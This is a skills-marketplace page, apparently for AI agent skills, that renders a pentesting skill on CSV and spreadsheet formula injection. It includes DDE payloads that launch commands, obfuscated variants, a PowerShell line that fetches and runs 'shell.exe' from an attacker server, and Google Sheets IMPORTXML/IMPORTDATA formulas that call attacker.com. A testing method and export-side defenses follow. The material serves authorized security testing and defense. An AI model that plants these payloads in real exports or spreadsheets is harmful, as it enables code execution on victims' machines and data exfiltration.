security-talent/bugskill-ai

csv-formula-injection

CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT).

Quelltext ansehen

Verwendung

  1. Installationsbefehl kopieren und das Quellpaket vor der Installation in der eigenen Agentenumgebung prüfen.
  2. Benötigte Werkzeuge, Zugangsdaten und Hosts im Original prüfen.
  3. Eingabe und gewünschtes Ergebnis beschreiben und die Ausgabe mit den Quellen abgleichen.
npx skills add https://github.com/security-talent/bugskill-ai --skill csv-formula-injection

Vor dem Start

  • Die Installation umfasst weder Modellabo noch API-Kontingent oder Dateizugriffsrechte.
  • Sterne und Installationen zeigen Aktivität, keine unabhängige Qualitäts- oder Sicherheitsprüfung.
Originales Skill-Dokument

Aus dem Quell-Repository gerendert; Überschriften, Beispiele, Code, Tabellen, Links und Bilder bleiben erhalten.

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

text
=
+
-
@

Test cells may look like:

csv
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.


1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

text
DDE("cmd";"/C calc";"!A0")A0
text
@SUM(1+1)*cmd|' /C calc'!A0
text
=2+5+cmd|' /C calc'!A0
text
=cmd|' /C calc'!'A1'

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

text
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

text
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

Extra whitespace after =:

text
=         cmd|'/c calc.exe'!A

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

text
=    C    m D    |'/c calc.exe'!A

rundll32 style:

text
=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:

Data exfiltration / probe (replace URL with your authorized callback):

text
=IMPORTXML("http://attacker.com/", "//a/@href")

Other high-risk imports:

text
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

Document which function executed and what network side effects occurred.


4. TESTING METHODOLOGY

  1. Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
  2. Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
  3. Inject formula prefixes — Start with benign arithmetic (=1+1, +1+1) to detect evaluation; escalate only per rules.
  4. Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
  5. Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.

Note: focus on the user input -> export -> opened in spreadsheet software chain.


5. DEFENSE

Application and export-layer mitigations:

  • Prefix with single quote — In many spreadsheet apps, leading ' forces text interpretation: '=cmd|... displays literally.
  • Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
  • Strip or neutralize leading triggers — Remove or escape leading =, +, -, @ (and Unicode lookalikes) at export time.
  • CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
  • User education — Do not enable external data / DDE without policy.

Example safe export transformation (conceptual):

text
Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.

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